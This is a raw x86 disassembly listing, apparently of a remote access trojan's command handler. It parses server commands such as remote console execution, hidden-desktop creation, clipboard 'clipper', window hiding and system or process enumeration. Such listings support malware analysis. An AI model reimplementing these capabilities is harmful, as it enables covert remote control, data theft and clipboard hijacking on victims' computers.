jb 0x10047e28
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1534], 0
mov dword [ebp - 0x1530], 7
xor eax, eax
mov word [ebp - 0x1544], ax
mov edx, dword [ebp - 0x1500]
cmp edx, 8
jb 0x10047e8f
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x1514]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047e85
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1504], 0
mov dword [ebp - 0x1500], 7
xor eax, eax
mov word [ebp - 0x1514], ax
mov edx, dword [ebp - 0x1548]
cmp edx, 8
jb 0x10047eec
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x155c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047ee2
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x154c], 0
mov dword [ebp - 0x1548], 7
xor eax, eax
mov word [ebp - 0x155c], ax
mov edx, dword [ebp - 0x14b8]
cmp edx, 8
jb 0x10047f49
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x14cc]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047f3f
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x14bc], 0
mov dword [ebp - 0x14b8], 7
xor eax, eax
mov word [ebp - 0x14cc], ax
mov edx, dword [ebp - 0x14d0]
cmp edx, 8
jb 0x10047fa6
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x14e4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047f9c
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x14d4], 0
mov dword [ebp - 0x14d0], 7
xor eax, eax
mov word [ebp - 0x14e4], ax
mov edx, dword [ebp - 0x1488]
cmp edx, 8
jb 0x10048003
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x149c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047ff9
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x148c], 0
mov dword [ebp - 0x1488], 7
xor eax, eax
mov word [ebp - 0x149c], ax
mov edx, dword [ebp - 0x1560]
cmp edx, 8
jb 0x10048060
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x1574]
mov eax, ecx
cmp edx, 0x1000
jb 0x10048056
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1564], 0
mov dword [ebp - 0x1560], 7
xor eax, eax
mov word [ebp - 0x1574], ax
mov edx, dword [ebp - 0x1458]
cmp edx, 8
jb 0x100480bd
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x146c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100480b3
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x15ec]
push eax
call fcn.10052530
mov ecx, ebx
call fcn.10023bb0
add esp, 0x18
mov byte [0x101ab1d4], 1
mov dword [ebp - 4], 0
mov edx, 0x10193000
mov ecx, 0x101aa048
call fcn.10058e70
nop word [eax + eax]
push 0x400
lea eax, [ebp - 0x824]
push eax
push dword [0x101aba00]
call fcn.100dad80
add esp, 0xc
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100481f5
cmp dword [0x101abc80], 0
je 0x10048154
push 0
push 0
push 0x10
push dword [0x101abc14]
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [0x101ab9fc], 1
mov dword [0x101abc80], 0
mov edx, str.Error_receiving_data_from_server__Quitting
mov ecx, 0x101aa2a8
call fcn.10058e70
push eax
call fcn.10059060
add esp, 4
mov edx, str.Error
mov ecx, 0x101aa048
call fcn.10058e70
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.10051130
mov dword [0x101ab1c8], 1
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x15ec]
call fcn.10024ce0
lea ecx, [ebp - 0x15d4]
call fcn.10024ce0
lea ecx, [ebp - 0x15bc]
call fcn.10024ce0
lea ecx, [ebp - 0x15a4]
call fcn.10024ce0
lea ecx, [ebp - 0x158c]
call fcn.10024ce0
lea ecx, [ebp - 0x1484]
call fcn.10052b20
mov dword [ebp - 4], 0xffffffff
jmp 0x10047292
push 0
push 0
push ebx
lea eax, [ebp - 0x824]
push eax
push 0
push 0xfde9
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call edi
mov esi, eax
push ecx
push esi
lea ecx, [ebp - 0x229c]
call fcn.1004ecd0
push esi
push dword [ebp - 0x229c]
push ebx
lea eax, [ebp - 0x824]
push eax
push 0
push 0xfde9
call edi
mov eax, dword [ebp - 0x2298]
mov dword [ebp - 0x21b0], eax
mov ecx, dword [ebp - 0x229c]
mov dword [ebp - 0x21b0], ecx
mov dword [ebp - 0x1454], 0
mov dword [ebp - 0x1444], 0
mov dword [ebp - 0x1440], 0
mov dword [ebp - 0x1444], 0
mov dword [ebp - 0x1440], 7
xor edx, edx
mov word [ebp - 0x1454], dx
cmp ecx, eax
je 0x1004829f
sub eax, ecx
sar eax, 1
push eax
push ecx
lea ecx, [ebp - 0x1454]
call fcn.10051fd0
push 0x7c
lea edx, [ebp - 0x1454]
lea ecx, [ebp - 0x21a0]
call fcn.10023670
push ecx
mov eax, esp
mov dword [eax], str.65844566454656544564564564
mov dword [eax + 4], 0x1a
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048322
mov byte [0x101ab1b3], 0
mov byte [0x101abc40], 0
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x21a0]
call fcn.10055820
lea ecx, [ebp - 0x1454]
call fcn.10024ce0
lea ecx, [ebp - 0x229c]
call fcn.1004ec70
jmp 0x1004c1e7
sub esp, 8
mov eax, esp
mov dword [eax], str.regcreatekey
mov dword [eax + 4], 0xc
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x100483a1
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
mov esi, eax
mov edx, dword [ebp - 0x21a0]
add edx, 0x30
sub esp, 0x14
mov ecx, esp
push edx
call fcn.10052530
mov ecx, esi
call fcn.1003c460
add esp, 0x18
test al, al
jne 0x1004c16e
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
push 0x1018ed8c
call fcn.100524b0
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], 0x1019308c
mov dword [eax + 4], 0x14
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x100483fd
mov edi, dword [0x101aba00]
sub esp, 0x18
mov esi, esp
lea ecx, [ebp - 0x1c2c]
call fcn.10041bb0
push eax
mov edx, str.getservicelistingwin
mov ecx, esi
call fcn.10059bb0
add esp, 4
mov ecx, edi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1c2c]
jmp 0x1004c169
sub esp, 8
mov eax, esp
mov dword [eax], str.enumeratehiddendesktop
mov dword [eax + 4], 0x16
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048502
push 0
push 0x100418b0
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
push eax
call dword [sym.imp.USER32.dll_EnumDesktopsW]
push 0x101abe08
lea ecx, [ebp - 0x2374]
call fcn.10051830
push 0x1018ed8c
lea ecx, [ebp - 0x1674]
call fcn.100524b0
mov esi, dword [ebp - 0x2374]
mov dword [ebp - 0x22ac], esi
mov edi, dword [ebp - 0x2370]
cmp esi, edi
je 0x100484be
push esi
lea ecx, [ebp - 0x183c]
call fcn.10052530
push 0x1018e188
lea edx, [ebp - 0x183c]
lea ecx, [ebp - 0x1c5c]
call fcn.10058da0
add esp, 4
push eax
lea ecx, [ebp - 0x1674]
call fcn.10052290
lea ecx, [ebp - 0x1c5c]
call fcn.10024ce0
lea ecx, [ebp - 0x183c]
call fcn.10024ce0
add esi, 0x18
mov dword [ebp - 0x22ac], esi
jmp 0x10048468
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1674]
push eax
mov edx, str.enumeratehiddendesk
call fcn.10059c20
add esp, 4
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1674]
call fcn.10024ce0
lea ecx, [ebp - 0x2374]
call fcn.10055820
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.options
mov dword [eax + 4], 7
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048552
mov eax, dword [ebp - 0x21a0]
lea edx, [eax + 0x30]
lea esi, [eax + 0x18]
sub esp, 0x18
mov ecx, esp
push edx
call fcn.10052530
sub esp, 0x18
mov ecx, esp
push esi
call fcn.10052530
call fcn.10042310
add esp, 0x30
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.hwrsizeresize
mov dword [eax + 4], 0xd
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048601
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x30]
push 0xa
xor edx, edx
call fcn.10022b30
mov edi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x18
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 8
mov ebx, eax
push 0
push 0x10000000
push 0
push 0
push 0
push str.sssssssss
call dword [sym.imp.USER32.dll_CreateDesktopW]
mov esi, eax
test esi, esi
je 0x1004c16e
lea eax, [ebp - 0x1644]
push eax
push dword [0x101abc64]
call dword [sym.imp.USER32.dll_GetWindowRect]
push 6
push edi
push ebx
push dword [ebp - 0x1640]
push dword [ebp - 0x1644]
push 0
push dword [0x101abc64]
call dword [sym.imp.USER32.dll_SetWindowPos]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.processinfo
mov dword [eax + 4], 0xb
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048710
mov edx, str.Process_information_gett
mov ecx, 0x101aa048
call fcn.10058e70
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1544]
call fcn.10023ee0
mov edx, 0x1018e164
lea ecx, [ebp - 0x1544]
call fcn.10059f20
test al, al
je 0x10048705
push 0x2a
lea edx, [ebp - 0x1544]
lea ecx, [ebp - 0x251c]
call fcn.10023670
mov eax, dword [eax]
add eax, 0x48
sub esp, 0x14
mov ecx, esp
push eax
call fcn.10052530
lea ecx, [ebp - 0x1514]
call fcn.10034780
add esp, 0x18
lea ecx, [ebp - 0x251c]
call fcn.10055820
lea eax, [ebp - 0x1514]
cmp dword [ebp - 0x1500], 8
cmovae eax, dword [ebp - 0x1514]
push dword [ebp - 0x1504]
push eax
lea ecx, [ebp - 0x1544]
call fcn.100520e0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1544]
push eax
mov edx, str.processinfo
call fcn.10059c20
add esp, 4
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1514]
call fcn.10024ce0
lea ecx, [ebp - 0x1544]
jmp 0x1004c169
sub esp, 8
mov eax, esp
mov dword [eax], str.startconsole
mov dword [eax + 4], 0xc
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x100487e8
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x18
mov edx, 0x1018f934
call fcn.10059db0
test al, al
je 0x1004879a
cmp byte [0x101ab1b3], 0
jne 0x1004c16e
mov byte [ebp - 0x21a5], 1
lea eax, [ebp - 0x21a5]
push eax
push ecx
lea ecx, [ebp - 0x24d4]
call fcn.1005a0d0
push eax
mov ecx, 0x101abd28
call fcn.100242c0
cmp dword [ebp - 0x24d0], 0
jne 0x1004c2b0
mov ecx, 0x101abd28
call fcn.10024300
jmp 0x1004c16e
cmp byte [0x101abc40], 0
jne 0x1004c16e
mov byte [ebp - 0x21a6], 0
lea eax, [ebp - 0x21a6]
push eax
push ecx
lea ecx, [ebp - 0x24cc]
call fcn.1005a0d0
push eax
mov ecx, 0x101abcb0
call fcn.100242c0
cmp dword [ebp - 0x24c8], 0
jne 0x1004c2b5
mov ecx, 0x101abcb0
call fcn.10024300
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.runconsolecommand
mov dword [eax + 4], 0x11
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x100488b1
mov esi, dword [ebp - 0x21a0]
lea ecx, [esi + 0x18]
mov edx, 0x1018f934
call fcn.10059db0
add esi, 0x30
mov ecx, esi
test al, al
je 0x1004886d
lea eax, [ebp - 0x2488]
push eax
call fcn.10051ef0
cmp dword [esi + 0x14], 8
jb 0x1004883d
mov esi, dword [esi]
mov dword [ebp - 0x21b0], esi
push ecx
push dword [eax]
push esi
lea ecx, [ebp - 0x1c74]
call fcn.10059e90
push eax
mov ecx, 0x101a6358
call fcn.10052b70
lea ecx, [ebp - 0x1c74]
call fcn.10052b20
jmp 0x1004c16e
lea eax, [ebp - 0x2484]
push eax
call fcn.10051ef0
cmp dword [esi + 0x14], 8
jb 0x10048881
mov esi, dword [esi]
mov dword [ebp - 0x21b0], esi
push ecx
push dword [eax]
push esi
lea ecx, [ebp - 0x1cbc]
call fcn.10059e90
push eax
mov ecx, 0x101a6700
call fcn.10052b70
lea ecx, [ebp - 0x1cbc]
call fcn.10052b20
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.exitconsole
mov dword [eax + 4], 0xb
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048901
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
mov edx, 0x1018f934
call fcn.10059db0
test al, al
je 0x100488f5
mov byte [0x101ab1b3], 0
jmp 0x1004c16e
mov byte [0x101abc40], 0
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.networkarpentry
mov dword [eax + 4], 0xf
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048998
mov byte [ebp - 0x21b9], 1
push 8
call fcn.1011a4d9
add esp, 4
mov cl, byte [ebp - 0x21b9]
mov byte [eax], cl
mov dword [eax + 4], 0x100433f0
mov dword [ebp - 0x21e4], eax
lea ecx, [ebp - 0x2200]
push ecx
push 0
push eax
push 0x100614b0
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [ebp - 0x2204], eax
test eax, eax
je 0x1004c2bf
mov dword [ebp - 0x21e4], 0
lea ecx, [ebp - 0x2204]
call fcn.10024300
cmp dword [ebp - 0x2200], 0
jne 0x1004c2ba
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], str.regkeycreate
mov dword [eax + 4], 0xc
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x100489dc
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
call fcn.1003cd80
mov edx, dword [ebp - 0x21a0]
lea edx, [edx + 0x30]
mov ecx, eax
call fcn.1003cba0
jmp 0x1004c16e
sub esp, 8
mov eax, esp
mov dword [eax], 0x10193234
mov dword [eax + 4], 0x12
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048a3c
lea ecx, [ebp - 0x1854]
call fcn.10031ae0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1854]
push eax
mov edx, str.detailedsysteminfo
call fcn.10059c20
add esp, 4
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1854]
jmp 0x1004c169
sub esp, 8
mov eax, esp
mov dword [eax], 0x10193284
mov dword [eax + 4], 0x11
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048a9c
lea ecx, [ebp - 0x186c]
call fcn.1002eee0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x186c]
push eax
mov edx, str.systemmemoryquery
call fcn.10059c20
add esp, 4
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x186c]
jmp 0x1004c169
sub esp, 8
mov eax, esp
mov dword [eax], str.requestdatacheck
mov dword [eax + 4], 0x10
lea ecx, [ebp - 0x1454]
call fcn.10051af0
test al, al
je 0x10048ae1
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
push 0x1018fd64
call fcn.100524b0
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
jmp 0x1004c16e
push ecx
push str.654546764857action
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048bb6
cmp dword [0x101abc3c], 0
jne 0x10048b1e
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [0x101abc3c], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
cmp eax, 0x12c
jne 0x10048b67
push 0x100414f0
lea ecx, [ebp - 0x232c]
call fcn.10059e40
lea ecx, [ebp - 0x232c]
call fcn.10024300
cmp dword [ebp - 0x2328], 0
jne 0x1004c2d0
jmp 0x1004c16e
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x22b0], eax
lea eax, [ebp - 0x22b0]
push eax
push 0x10041810
lea ecx, [ebp - 0x2344]
call fcn.1005a120
lea ecx, [ebp - 0x2344]
call fcn.10024300
cmp dword [ebp - 0x2340], 0
jne 0x1004c2d5
jmp 0x1004c16e
push ecx
push str.546456465hvrtoogle
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048c06
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
mov dword [0x101ab9e4], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 8
test eax, eax
setne byte [0x101a6460]
jmp 0x1004c16e
push ecx
push str.545465455887closwindow
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048c6b
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x22b4], eax
lea eax, [ebp - 0x22b4]
push eax
push 0x100417c0
lea ecx, [ebp - 0x233c]
call fcn.1005a120
lea ecx, [ebp - 0x233c]
call fcn.10024300
cmp dword [ebp - 0x2338], 0
jne 0x1004c2da
jmp 0x1004c16e
push ecx
push str.54546544545hidewind
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048d98
cmp dword [0x101abc84], 0
jne 0x1004c16e
mov dword [0x101abc58], 0
mov dword [0x101abc84], 1
lea ecx, [ebp - 0x2380]
call fcn.100244e0
lea eax, [ebp - 0x24c4]
push eax
lea ecx, [ebp - 0x2380]
call fcn.100246b0
mov dword [ebp - 0x22b8], 0x101abc50
mov dword [ebp - 0x22bc], 0x101abc24
mov dword [ebp - 0x22c0], 0x101aba04
mov dword [ebp - 0x2290], 0x101ab9e4
mov dword [ebp - 0x22c4], 0x101abc3c
mov dword [ebp - 0x22c8], 0x101ab9ec
mov dword [ebp - 0x22cc], 0x101abc78
mov dword [ebp - 0x22d0], 0x101abc58
lea eax, [ebp - 0x22b8]
push eax
lea eax, [ebp - 0x22bc]
push eax
lea eax, [ebp - 0x22c0]
push eax
lea eax, [ebp - 0x2290]
push eax
lea eax, [ebp - 0x22c4]
push eax
lea eax, [ebp - 0x22c8]
push eax
lea eax, [ebp - 0x22cc]
push eax
lea eax, [ebp - 0x22d0]
push eax
lea eax, [ebp - 0x21a4]
push eax
lea eax, [ebp - 0x2380]
push eax
push ecx
lea ecx, [ebp - 0x2304]
call fcn.1005a170
lea ecx, [ebp - 0x2304]
call fcn.10024300
cmp dword [ebp - 0x2300], 0
jne 0x1004c2df
lea ecx, [ebp - 0x24c4]
call fcn.100244b0
lea ecx, [ebp - 0x2380]
call fcn.10024550
jmp 0x1004c16e
push ecx
push str.5463798hker
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048dfb
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
push 0
push 0
push eax
push esi
call fcn.10046470
add esp, 0x14
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.456454554547hmoving
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048e56
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
mov esi, eax
mov dword [ebp - 0x21b0], esi
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 8
mov dword [ebp - 0x21cc], eax
mov dword [0x101abc18], esi
mov dword [0x101ab9f0], eax
jmp 0x1004c16e
push ecx
push str.864685654456645654654clipper
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10048f6f
mov edi, dword [ebp - 0x21a0]
add edi, 0x18
lea eax, [ebp - 0x21e0]
push eax
mov ecx, edi
call fcn.10051ef0
mov esi, dword [eax]
cmp dword [edi + 0x14], 8
jb 0x10048e91
mov edi, dword [edi]
mov dword [ebp - 0x21b0], edi
sub esp, 0x18
mov ecx, esp
push 0x101a63a0
call fcn.10052c90
sub esp, 0x18
mov ecx, esp
push ecx
push esi
push edi
call fcn.10059e90
call fcn.1003ecb0
add esp, 0x30
cmp byte [0x101abc42], 0
je 0x10048ef6
mov byte [0x101abc42], 0
sub esp, 0x18
mov ecx, esp
push 0x101a65f8
call fcn.10052c90
sub esp, 0x18
mov ecx, esp
push 0x1018ec2c
call fcn.10052c20
call fcn.1003ecb0
add esp, 0x30
jmp 0x1004c16e
mov ecx, dword [ebp - 0x219c]
sub ecx, dword [ebp - 0x21a0]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1004c16e
sub esp, 0x18
mov ecx, esp
push 0x101a65f8
call fcn.10052c90
sub esp, 0x18
mov ecx, esp
push 0x1018ec30
call fcn.10052c20
call fcn.1003ecb0
add esp, 0x30
push 0x1003ef90
lea ecx, [ebp - 0x2334]
call fcn.10059e40
lea ecx, [ebp - 0x2334]
call fcn.10024300
cmp dword [ebp - 0x2330], 0
jne 0x1004c2e4
jmp 0x1004c16e
push ecx
push str.4856846548465854654chat
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049111
cmp dword [0x101abc80], 0
jne 0x10049084
mov dword [0x101abc80], 1
mov dword [0x101ab9fc], 0
lea ecx, [ebp - 0x21fc]
call fcn.100244e0
lea eax, [ebp - 0x24bc]
push eax
lea ecx, [ebp - 0x21fc]
call fcn.100246b0
push 0x14
call fcn.1011a4d9
add esp, 4
mov edx, eax
mov ecx, dword [ebp - 0x21a4]
mov dword [edx], ecx
lea ecx, [edx + 4]
mov dword [ecx], 0
lea eax, [ebp - 0x21fc]
cmp ecx, eax
je 0x10049009
mov eax, dword [ebp - 0x21fc]
mov dword [ecx], eax
mov dword [ebp - 0x21fc], 0
mov al, byte [ebp - 0x21f8]
mov byte [ecx + 4], al
mov byte [ecx + 4], 0
mov al, byte [ebp - 0x21f4]
mov byte [ecx + 8], al
mov dword [edx + 0x10], 0x10046910
mov dword [ebp - 0x22d4], edx
lea eax, [ebp - 0x2220]
push eax
push 0
push edx
push 0x10061530
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [ebp - 0x2224], eax
test eax, eax
je 0x1004c2ee
mov dword [ebp - 0x22d4], 0
lea ecx, [ebp - 0x2224]
call fcn.10024300
cmp dword [ebp - 0x2220], 0
jne 0x1004c2e9
lea ecx, [ebp - 0x24bc]
call fcn.100244b0
lea ecx, [ebp - 0x21fc]
call fcn.10024550
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x21a0]
lea esi, [eax + 0x30]
lea edx, [eax + 0x18]
push 0x10193448
lea ecx, [ebp - 0x1d04]
call fcn.10058da0
add esp, 4
push 0x1018eeb0
push esi
mov edx, eax
lea ecx, [ebp - 0x1cec]
call fcn.10059c80
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1cd4]
call fcn.10058e00
add esp, 4
mov ecx, eax
call fcn.10044b30
lea ecx, [ebp - 0x1cd4]
call fcn.10024ce0
lea ecx, [ebp - 0x1cec]
call fcn.10024ce0
lea ecx, [ebp - 0x1d04]
call fcn.10024ce0
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.4566485activewio
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049239
push 0x1018ed8c
lea ecx, [ebp - 0x1884]
call fcn.100524b0
lea eax, [ebp - 0x1884]
push eax
push 0x1018f8a8
mov edx, dword [ebp - 0x21a0]
lea ecx, [ebp - 0x1c44]
call fcn.10058da0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1454]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x1c44]
call fcn.10024ce0
lea ecx, [ebp - 0x1884]
call fcn.10024ce0
lea edx, [ebp - 0x1454]
mov ecx, 0x101aa1f8
call fcn.10059600
push 0x1018ed8c
lea ecx, [ebp - 0x18b4]
call fcn.100524b0
push 0x1018f8a8
lea ecx, [ebp - 0x189c]
call fcn.100524b0
lea eax, [ebp - 0x18b4]
push eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
lea edx, [ebp - 0x189c]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x189c]
call fcn.10024ce0
lea ecx, [ebp - 0x18b4]
call fcn.10024ce0
push 0x1018f8a8
lea ecx, [ebp - 0x18e4]
call fcn.100524b0
push 0x1018e188
lea ecx, [ebp - 0x18cc]
call fcn.100524b0
lea eax, [ebp - 0x18e4]
push eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
lea edx, [ebp - 0x18cc]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x18cc]
call fcn.10024ce0
lea ecx, [ebp - 0x18e4]
jmp 0x1004c169
push ecx
push str.456645856486546458645865486458cmd
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049322
lea eax, [ebp - 0x1454]
push eax
lea ecx, [ebp - 0x165c]
call fcn.10052530
push 0x1018ed8c
lea ecx, [ebp - 0x1914]
call fcn.100524b0
push str.456645856486546458645865486458cmd
lea ecx, [ebp - 0x18fc]
call fcn.100524b0
lea eax, [ebp - 0x1914]
push eax
lea edx, [ebp - 0x18fc]
lea ecx, [ebp - 0x165c]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x18fc]
call fcn.10024ce0
lea ecx, [ebp - 0x1914]
call fcn.10024ce0
push 0
lea edx, [ebp - 0x165c]
lea ecx, [ebp - 0x1944]
call fcn.1002f7f0
lea eax, [ebp - 0x1944]
push eax
mov edx, str.r4h58er4h54re54hr45h
lea ecx, [ebp - 0x192c]
call fcn.10059c20
mov esi, dword [0x101aba00]
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x192c]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x192c]
call fcn.10024ce0
lea ecx, [ebp - 0x1944]
call fcn.10024ce0
lea ecx, [ebp - 0x165c]
jmp 0x1004c169
push ecx
push str.854654685468hquality
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049368
mov byte [ebp - 4], 5
